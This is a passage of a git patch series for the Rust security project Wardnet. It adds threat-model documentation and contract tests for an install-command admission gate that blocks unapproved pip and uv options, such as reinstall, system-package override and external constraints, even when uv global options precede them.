mutable branch/PR state: + +- `quarantine-sandbox-runtime`: hostile-workload isolation, execution profiles, resource/syscall/filesystem controls, ephemeral workspaces, cleanup/recovery, and dynamic artifact-analysis execution. +- `EgressWeave`: outbound destination, transport, and egress authorization/control semantics. +- `contextual-orchestrator`: production LLM/model/tool orchestration and its released API. Wardnet owns the security question and deterministic policy around any advisory result, not provider/model routing. +- `appguardrail`: application/agent guardrail enforcement and its released security evidence contracts. + +This boundary is intentionally contract-first: no source copy, no cross-service SQL, and no mutable sibling dependency. A sibling capability that lacks an immutable released contract remains unavailable to production Wardnet admission rather than being reimplemented locally. + ## Product Architecture Evidence - FigJam: `docs/figma/enterprise-product-architecture.md` From 67fa380cf69a62197ee12a14185d86a334a77760 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:09:13 +0900 Subject: [PATCH 658/702] test(docs): cover stale workspace cardinality prose --- tests/agent_artifact_documentation_contract.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/agent_artifact_documentation_contract.rs b/tests/agent_artifact_documentation_contract.rs index a36537ec..3bcb56ed 100644 --- a/tests/agent_artifact_documentation_contract.rs +++ b/tests/agent_artifact_documentation_contract.rs @@ -36,6 +36,10 @@ fn agent_artifact_admission_stays_in_code_current_operator_and_architecture_docs !claude.contains("Root Cargo workspace with two members"), "workspace guidance must not claim two members after Agent Artifact Admission is present" ); + assert!( + !claude.contains("Both workspace crates use `edition = \"2024\"`"), + "toolchain guidance must not retain the pre-admission two-crate statement" + ); let agents = read_repo_file("AGENTS.md"); assert!( From da77a2957627b9e3655c649465ef95e9f2226705 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:09:49 +0900 Subject: [PATCH 659/702] docs(toolchain): remove stale two-crate claim --- CLAUDE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CLAUDE.md b/CLAUDE.md index db146691..d9be6212 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -40,7 +40,7 @@ cargo +nightly fuzz run fuzz_score_request -- -max_total_time=60 ## Toolchain -`rust-toolchain.toml` pins the `stable` channel with `llvm-tools-preview` (needed by `cargo llvm-cov`), `rustfmt`, and `clippy`. Both workspace crates use `edition = "2024"`. Fuzzing is the one exception that needs nightly. +`rust-toolchain.toml` pins the `stable` channel with `llvm-tools-preview` (needed by `cargo llvm-cov`), `rustfmt`, and `clippy`. All three root-workspace crates use `edition = "2024"`. Fuzzing is the one exception that needs nightly. ## Workspace Layout From a1210e32bd0579b4028eb86fa3db54cbc1a2ffcf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:19:08 +0900 Subject: [PATCH 660/702] test(security): prove admission threat-model drift --- tests/agent_artifact_threat_model_contract.rs | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 tests/agent_artifact_threat_model_contract.rs diff --git a/tests/agent_artifact_threat_model_contract.rs b/tests/agent_artifact_threat_model_contract.rs new file mode 100644 index 00000000..d2389468 --- /dev/null +++ b/tests/agent_artifact_threat_model_contract.rs @@ -0,0 +1,39 @@ +use std::fs; + +fn threat_model() -> String { + fs::read_to_string("docs/security/threat-model.md") + .unwrap_or_else(|error| panic!("failed to read threat model: {error}")) +} + +#[test] +fn agent_artifact_admission_threats_and_foreign_owner_boundaries_remain_explicit() { + let threat_model = threat_model(); + + for marker in [ + "Agent Artifact Admission", + "artifact digest", + "admission receipt", + "quarantine-sandbox-runtime", + "EgressWeave", + "contextual-orchestrator", + "appguardrail", + "fail closed", + "mutable branch", + ] { + assert!( + threat_model.contains(marker), + "threat model must retain the code-current security marker {marker:?}" + ); + } + + for threat in [ + "Artifact identity substitution", + "Forged or stale foreign-owner evidence", + "Admission-authority confusion", + ] { + assert!( + threat_model.contains(threat), + "threat model must retain the Agent Artifact Admission threat {threat:?}" + ); + } +} From bb0517c47163ffaaccd53a1d0812a15b13967d0e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:21:08 +0900 Subject: [PATCH 661/702] docs(security): model Agent Artifact Admission threats --- docs/security/threat-model.md | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md index 4fc52235..db460db8 100644 --- a/docs/security/threat-model.md +++ b/docs/security/threat-model.md @@ -9,6 +9,8 @@ - Admin token - Upstream service availability - State file integrity +- Agent Artifact Admission policy, immutable artifact digest identity, reviewed workspace-manifest identity, and evaluated evidence set +- Agent Artifact Admission decision and admission receipt, including the policy/evidence identities that justify an allow or deny ## Trust Boundaries @@ -18,14 +20,19 @@ - The state file is trusted only after JSON deserialization succeeds. - A non-loopback listener is untrusted until a write-capable admin principal exists in the credential registry. This follows the fail-secure and authenticator-management posture documented in the production guide and runbook: start closed, bootstrap secrets into the registry, then expose the listener only after a usable write credential exists. - Threat feed import payloads are untrusted operator-supplied data. +- Agent Artifact Admission treats installer intent, artifact coordinates, workspace-manifest identity, artifact digest values, and submitted foreign-owner evidence as untrusted until Wardnet validates their structure, binding, policy identity, and freshness. An allow receipt authorizes only Wardnet admission; it is not evidence that bytes were fetched, a hostile workload was isolated, egress was authorized, an LLM/tool workflow ran, or an application guardrail executed. +- `quarantine-sandbox-runtime` remains the canonical owner of hostile-workload isolation and artifact-analysis execution; `EgressWeave` owns outbound destination/transport authorization; `contextual-orchestrator` owns LLM/model/tool orchestration through its released API; `appguardrail` owns its application/agent guardrail implementation and evidence. Wardnet validates released evidence/contracts from these owners but does not copy their implementation logic or query their private persistence. +- A mutable branch, pull-request head, sibling working tree, or other non-released foreign-owner state is development evidence only. Security-critical Agent Artifact Admission must fail closed when a required immutable/released owner contract or verifiable evidence receipt is absent, malformed, stale, or bound to a different artifact/policy identity. ## Security Grounding The startup gate and secret-handling path in this PR are aligned with NIST guidance that authentication secrets need lifecycle control and protected handling, and that authenticators should fail securely instead of silently degrading to weaker access. Wardnet applies that by preferring `WAF_IDS_CREDENTIALS_PATH`, allowing env only as bootstrap transport, and refusing non-loopback readiness when no usable write credential can be presented through `X-Admin-Token`. The operator recovery path is documented in [docs/deployment/production.md](../deployment/production.md), and the accepted bootstrap sources and RBAC shapes are documented in [docs/runbooks/operations.md](../runbooks/operations.md). +Agent Artifact Admission adds a software-supply-chain evidence boundary. NIST SP 800-218 Version 1.1 PS.3.2 calls for collecting, safeguarding, maintaining, and sharing software-component provenance and protecting its integrity; Wardnet applies that principle by binding admission to immutable artifact/evidence identities instead of treating a package name, mutable ref, or unauthenticated owner assertion as sufficient proof. NIST SP 800-161 Rev. 1 Update 1 is the current final NIST C-SCRM publication and frames malicious, counterfeit, vulnerable, and insufficiently understood third-party components/services as supply-chain risks requiring explicit identification, assessment, and mitigation. SP 800-218 Rev. 1 / SSDF Version 1.2 remains an initial public draft and is not promoted here as final authority. + ### Research artifact redistribution assessment -The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sources below remain linked to their authoritative publication records and summarized here; this PR does not republish copies of those two PDFs because the exact retrieved artifacts were not independently assessed for redistribution during this change. Separately, the branch retains `docs/papers/nist-sp-800-218-ssdf.pdf` as redistributable NIST SP 800-218 Version 1.1 evidence for the secure-development and credential-bootstrap boundary. Its authoritative source, redistribution basis, attribution, and final-versus-draft status are recorded in [docs/doctoring/fail-closed-management-auth.md](../doctoring/fail-closed-management-auth.md). The repository copy is evidence only and does not supersede NIST's publication. +The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sources below remain linked to their authoritative publication records and summarized here; this PR does not republish copies of those two PDFs because the exact retrieved artifacts were not independently assessed for redistribution during this change. Separately, the branch retains `docs/papers/nist-sp-800-218-ssdf.pdf` as redistributable NIST SP 800-218 Version 1.1 evidence for the secure-development, credential-bootstrap, and software-provenance boundary. Its authoritative source, redistribution basis, attribution, and final-versus-draft status are recorded in [docs/doctoring/fail-closed-management-auth.md](../doctoring/fail-closed-management-auth.md). The repository copy is evidence only and does not supersede NIST's publication. ## Primary Threats @@ -34,19 +41,24 @@ The authentication-specific NIST SP 800-57 Part 1 Rev. 5 and NIST SP 800-63B sou | Unauthorized management write | Route takeover or false blocking | `X-Admin-Token` write gate; multi-token RBAC with actor labels and readonly role; fail-closed startup on non-loopback bind without a write-capable principal; `401` vs `403` without revealing the expected role; audit log for successful writes | SSO/OIDC, mTLS or identity proxy, SCIM | | Malicious threat feed import | False positives or broad blocks | Validation, route-scoped enforcement | Source signing, feed confidence, staged promotion | | State file corruption | Startup failure or stale policy | JSON parse failure surfaces startup error | Database, backup, schema migration | -| Upstream SSRF through routes | Internal network exposure | Upstream scheme validation | Upstream allowlists, egress policy | +| Upstream SSRF through routes | Internal network exposure | Upstream scheme validation | Released EgressWeave boundary for destination/address/redirect/proxy/TLS enforcement | | Gateway DoS | Availability loss | Rust memory safety, event retention limit | Rate limits, body limits, async event sink | | DNSBL abuse | Reputation damage | Loopback response-code validation | Authoritative DNS service, signing, publisher workflow | | Secret disclosure | Admin compromise | Support bundle excludes admin token; secrets bootstrapped into credential registry (`WAF_IDS_CREDENTIALS_PATH` preferred over long-lived env); health exposes source label only | External secret manager / SSO, rotation, access review | +| Artifact identity substitution | A reviewed package coordinate is replaced by different bytes, registry/owner identity, workspace manifest, or installer interpretation while retaining apparent admission | Agent Artifact Admission binds exact structured coordinates, artifact digest, workspace-manifest digest, submitted argv, policy identity, and required evidence; mismatches deny | Released retrieval/executor evidence must cryptographically bind the retrieved bytes and effective execution input back to the same admission identity | +| Forged or stale foreign-owner evidence | A sandbox/egress/orchestration/guardrail claim is replayed, fabricated, or attached to a different artifact/policy decision | Wardnet consumes foreign evidence only through released/versioned contracts, validates required identity/freshness fields, and fails closed on absent, malformed, stale, unverifiable, or mutable-branch evidence | Cryptographic issuer identity, anti-replay/expiry semantics, immutable release provenance, and conformance tests per owner contract | +| Admission-authority confusion | A Wardnet allow receipt is misread as proof that hostile execution, egress, installation, LLM/tool orchestration, or guardrail enforcement occurred | Receipt semantics are explicitly limited to Wardnet admission; canonical foreign-owner responsibilities remain separate | End-to-end buyer/operator evidence should correlate distinct owner receipts without collapsing them into one authority claim | ## Human Approval Boundary -AI SOC recommendations may explain, summarize, or suggest actions, but enforcement-changing decisions must remain human-approved until audit trails, rollback, and policy simulation are implemented. +AI SOC recommendations may explain, summarize, or suggest actions, but enforcement-changing decisions must remain human-approved until audit trails, rollback, and policy simulation are implemented. Any future LLM-backed triage must use the released `contextual-orchestrator` API; model output cannot substitute for deterministic Agent Artifact Admission evidence or foreign-owner receipts. ## References Barker, E. (2020). *Recommendation for key management: Part 1 - General* (NIST SP 800-57 Part 1 Rev. 5). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-57pt1r5 +Boyens, J., Smith, A., Bartol, N., Winkler, K., Holbrook, A., & Fallon, M. (2022, updated 2024). *Cybersecurity supply chain risk management practices for systems and organizations* (NIST SP 800-161 Rev. 1 Update 1). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-161r1-upd1 + Grassi, P. A., Garcia, M. E., & Fenton, J. L. (2020). *Digital identity guidelines: Authentication and lifecycle management* (NIST SP 800-63B). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-63b -National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) version 1.1* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218). National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 From 894f3dbdc885357b185d3a0b5872e174e4aa794b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:09:19 +0900 Subject: [PATCH 662/702] test(admission): expose uv global artifact-variant gap --- .../tests/pypi_artifact_variant_contract.rs | 36 ++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 6add330c..44b27878 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; @@ -92,6 +92,40 @@ fn uv_pip_target_platform_and_build_backend_controls_are_not_preapproved() { } } +#[test] +fn uv_global_options_do_not_hide_build_backend_artifact_authority() { + let (policy, mut intent) = approved_uv_pypi_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--config-setting".to_string(), + "backend-mode=unsafe".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "a uv global option must not hide caller-selected build-backend authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + #[test] fn exact_pypi_install_without_caller_selected_variant_remains_allowed() { let (policy, intent) = approved_pypi_install("pip"); From f04838cd5df89de0f823ba915e33b5b7c8d2c372 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:12:20 +0900 Subject: [PATCH 663/702] fix(admission): parse uv artifact variants after global options --- .../src/artifact_variant.rs | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 1eb7cd06..e4cd544b 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; /// Return whether an install asks the package client to expand or select /// artifact/build identity that is not represented by the approved coordinates. @@ -95,14 +96,21 @@ fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { .skip(1) .any(requests_unapproved_pip_variant) } - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => - { + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + arguments .iter() - .skip(2) + .skip(pip_index + 2) .any(requests_unapproved_uv_pip_variant) } _ => false, From 10810574659809e5bdec2ce73d3f0ed568b408be Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:36:15 +0900 Subject: [PATCH 664/702] test(admission): expose uv global system-package evidence gap --- ...reak_system_packages_authority_contract.rs | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs index 42d39565..34d1b24e 100644 --- a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; #[test] @@ -34,6 +35,76 @@ fn uv_break_system_packages_cannot_inherit_artifact_approval() { ); } +#[test] +fn uv_global_options_preserve_break_system_packages_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + intent.argv.push("--break-system-packages".to_string()); + + let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "the deliberately narrow supported-command grammar must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase break-system-packages causal evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, expected_command_sha256, + "normalization or causal classification must not replace exact submitted argv audit identity" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_system_package_authority() { + let (policy, mut near_spelling) = approved_uv_install(); + near_spelling + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); + near_spelling + .argv + .push("--break-system-package".to_string()); + + let near_spelling_decision = admission_decision(&policy, &near_spelling); + assert!( + !near_spelling_decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "uv uses exact long-option matching for this authority boundary: {:?}", + near_spelling_decision.reason_codes + ); + + let (policy, mut non_install) = approved_uv_install(); + non_install.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + "--break-system-packages".to_string(), + ]; + + let non_install_decision = admission_decision(&policy, &non_install); + assert!( + !non_install_decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "non-install uv grammar must not fabricate install-scope system-package authority: {:?}", + non_install_decision.reason_codes + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From a41f2fbc6cf3626aa0db9b87eadd7347d1a69d8f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:37:56 +0900 Subject: [PATCH 665/702] test(admission): format uv global system-package evidence RED --- ...reak_system_packages_authority_contract.rs | 101 ++++++++++-------- 1 file changed, 58 insertions(+), 43 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs index 34d1b24e..67f3a267 100644 --- a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -38,18 +38,27 @@ fn uv_break_system_packages_cannot_inherit_artifact_approval() { #[test] fn uv_global_options_preserve_break_system_packages_causal_evidence() { let (policy, mut intent) = approved_uv_install(); - intent - .argv - .splice(1..1, ["--color".to_string(), "never".to_string()]); - intent.argv.push("--break-system-packages".to_string()); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--break-system-packages".to_string(), + ]; - let expected_command_sha256 = sha256_hex(intent.argv.join("\u{1f}").as_bytes()); let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), - "the deliberately narrow supported-command grammar must remain fail-closed: {:?}", + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", decision.reason_codes ); assert!( @@ -60,49 +69,55 @@ fn uv_global_options_preserve_break_system_packages_causal_evidence() { decision.reason_codes ); assert_eq!( - decision.command_sha256, expected_command_sha256, - "normalization or causal classification must not replace exact submitted argv audit identity" + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" ); } #[test] fn uv_global_parser_controls_do_not_fabricate_system_package_authority() { - let (policy, mut near_spelling) = approved_uv_install(); - near_spelling - .argv - .splice(1..1, ["--color".to_string(), "never".to_string()]); - near_spelling - .argv - .push("--break-system-package".to_string()); - - let near_spelling_decision = admission_decision(&policy, &near_spelling); - assert!( - !near_spelling_decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag), - "uv uses exact long-option matching for this authority boundary: {:?}", - near_spelling_decision.reason_codes - ); + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--break-system-package", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--break-system-packages", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); - let (policy, mut non_install) = approved_uv_install(); - non_install.argv = vec![ - "uv".to_string(), - "--color".to_string(), - "never".to_string(), - "pip".to_string(), - "sync".to_string(), - "requirements.txt".to_string(), - "--break-system-packages".to_string(), - ]; + let decision = admission_decision(&policy, &intent); - let non_install_decision = admission_decision(&policy, &non_install); - assert!( - !non_install_decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag), - "non-install uv grammar must not fabricate install-scope system-package authority: {:?}", - non_install_decision.reason_codes - ); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "nearby spelling or non-install uv grammar must not inherit install-scope system-package authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } } fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { From 3e8a8dca7e906afff94ded47b2fc95f18779208e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:39:36 +0900 Subject: [PATCH 666/702] fix(admission): preserve uv global system-package evidence --- .../src/pypi_system_package_authority.rs | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs index db661a55..98b3b067 100644 --- a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; /// Return whether a pip-compatible install asks to override the /// externally-managed-environment protection required by the reviewed intent. @@ -19,14 +20,21 @@ pub(crate) fn requests_pypi_system_package_override(intent: &InstallIntent) -> b .skip(1) .any(|argument| matches_break_system_packages_option(argument)) } - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => - { + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + arguments .iter() - .skip(2) + .skip(pip_index + 2) .any(|argument| matches_uv_break_system_packages_option(argument)) } _ => false, From a7cb8ae91bd8e4d6d0e7c9fe16093f9a2b5a415f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:52:39 +0900 Subject: [PATCH 667/702] test(admission): expose uv global reinstall evidence gap --- .../tests/uv_reinstall_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs index 88d6207d..89c8d9c5 100644 --- a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; #[test] @@ -28,6 +29,91 @@ fn uv_reinstall_package_cannot_inherit_artifact_approval() { assert_reinstall_authority_is_blocked("--reinstall-package=cwl-example"); } +#[test] +fn uv_global_options_preserve_reinstall_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--reinstall".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase reinstall mutation evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_reinstall_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--reinstal", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--reinstall", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install uv grammar must not inherit install-mutation authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + fn assert_reinstall_authority_is_blocked(argument: &str) { let (policy, mut intent) = approved_uv_install(); intent.argv.push(argument.to_string()); From 9c68a99c8514e1ba6c6e9c784abe24b1ff3b9452 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 19:55:23 +0900 Subject: [PATCH 668/702] fix(admission): preserve uv global reinstall evidence --- .../src/pypi_install_mutation_authority.rs | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 7e0830b6..86f04bb7 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; /// Return whether a PyPI install asks for mutation authority over an existing /// installation that is not represented by the reviewed artifact. @@ -31,9 +32,12 @@ fn requests_direct_pip_mutation(arguments: &[String]) -> bool { } fn requests_uv_pip_mutation(arguments: &[String]) -> bool { - if !arguments.first().is_some_and(|argument| argument == "pip") + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" || !arguments - .get(1) + .get(pip_index + 1) .is_some_and(|argument| argument == "install") { return false; @@ -41,7 +45,7 @@ fn requests_uv_pip_mutation(arguments: &[String]) -> bool { arguments .iter() - .skip(2) + .skip(pip_index + 2) .any(|argument| matches_uv_install_mutation_option(argument)) } From be7116227f7adbf2753634473d899da1a5161e9d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 20:06:24 +0900 Subject: [PATCH 669/702] test(admission): expose uv global constraint evidence gap --- .../pypi_constraint_authority_contract.rs | 88 ++++++++++++++++++- 1 file changed, 87 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs index bd3dd780..607a649d 100644 --- a/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_constraint_authority_contract.rs @@ -1,6 +1,7 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, }; const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; @@ -69,6 +70,91 @@ fn direct_exact_pypi_install_without_constraint_authority_remains_allowed() { } } +#[test] +fn uv_global_options_preserve_constraint_causal_evidence() { + let (policy, mut intent) = approved_pypi_install("uv"); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--constraint=https://x.invalid/c.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase external constraint authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + 